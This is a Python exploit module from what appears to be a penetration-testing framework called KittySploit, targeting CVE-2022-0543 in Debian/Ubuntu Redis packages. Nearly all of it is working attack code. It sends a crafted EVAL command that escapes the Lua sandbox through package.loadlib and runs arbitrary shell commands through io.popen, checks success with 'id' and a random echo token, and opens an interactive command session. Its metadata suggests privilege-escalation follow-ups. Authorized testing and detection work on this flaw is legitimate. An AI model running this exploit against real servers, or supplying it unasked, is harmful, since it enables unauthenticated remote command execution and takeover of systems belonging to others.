Redis - Lua Sandbox Escape RCE (CVE-2022-0543)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Redis Lua sandbox escape RCE (CVE-2022-0543) — opens execute session."""

import socket

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler


_LUA_LIBS = (
    '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0',
    '/usr/lib/aarch64-linux-gnu/liblua5.1.so.0',
    '/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0',
    '/usr/lib/i386-linux-gnu/liblua5.1.so.0',
)


class Module(Exploit, Tcp_scanner_client, Handler):
    __info__ = {
        'name': 'Redis - Lua Sandbox Escape RCE (CVE-2022-0543)',
        'description': (
            'Exploits CVE-2022-0543 on Debian/Ubuntu Redis packages by loading '
            'liblua5.1 via package.loadlib inside EVAL and running shell commands '
            'through io.popen. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-0543'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.debian.org/security/2022/dsa-5101',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-0543',
        ],
        'tags': ['redis', 'rce', 'lua', 'unauth', 'kev', 'cve-2022-0543'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/tcp/cve_2022_0543_detect',
                ],
            },
        },
    }

    port = OptPort(6379, 'Redis port', True)
    lua_lib = OptString(
        '',
        'Override path to liblua5.1.so.0 (auto-probe if empty)',
        required=False,
    )

    def _libs(self):
        override = str(self.lua_lib or '').strip()
        if override:
            return (override,)
        return _LUA_LIBS

    def _eval(self, cmd: str) -> str:
        host = self._host()
        port = self._port()
        if not host:
            return ''
        safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
        for lib in self._libs():
            script = (
                f'local io_l = package.loadlib("{lib}", "luaopen_io"); '
                f'local io = io_l(); local f = io.popen("{safe}", "r"); '
                'local res = f:read("*a"); f:close(); return res'
            )
            payload = (
                f'*3\r\n$4\r\nEVAL\r\n${len(script)}\r\n{script}\r\n$1\r\n0\r\n'
            )
            sock = None
            try:
                sock = socket.create_connection(
                    (host, port), timeout=max(self._timeout(), 8.0)
                )
                sock.settimeout(max(self._timeout(), 8.0))
                sock.sendall(payload.encode())
                data = sock.recv(65536).decode('latin-1', errors='replace')
            except OSError:
                continue
            finally:
                if sock is not None:
                    try:
                        sock.close()
                    except Exception:
                        pass
            # RESP bulk string: $<len>\r\n<data>\r\n
            if data.startswith('$-1') or data.startswith('-ERR'):
                continue
            if data.startswith('$'):
                parts = data.split('\r\n', 2)
                if len(parts) >= 3:
                    return parts[2].rstrip('\r\n')
            if 'uid=' in data or data.strip():
                return data
        return ''

    def execute(self, cmd: str) -> str:
        return self._eval(cmd)

    def check(self):
        body = self.execute('id')
        if 'uid=' in (body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2022-0543 confirmed: id via Lua package.loadlib',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Lua sandbox escape failed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()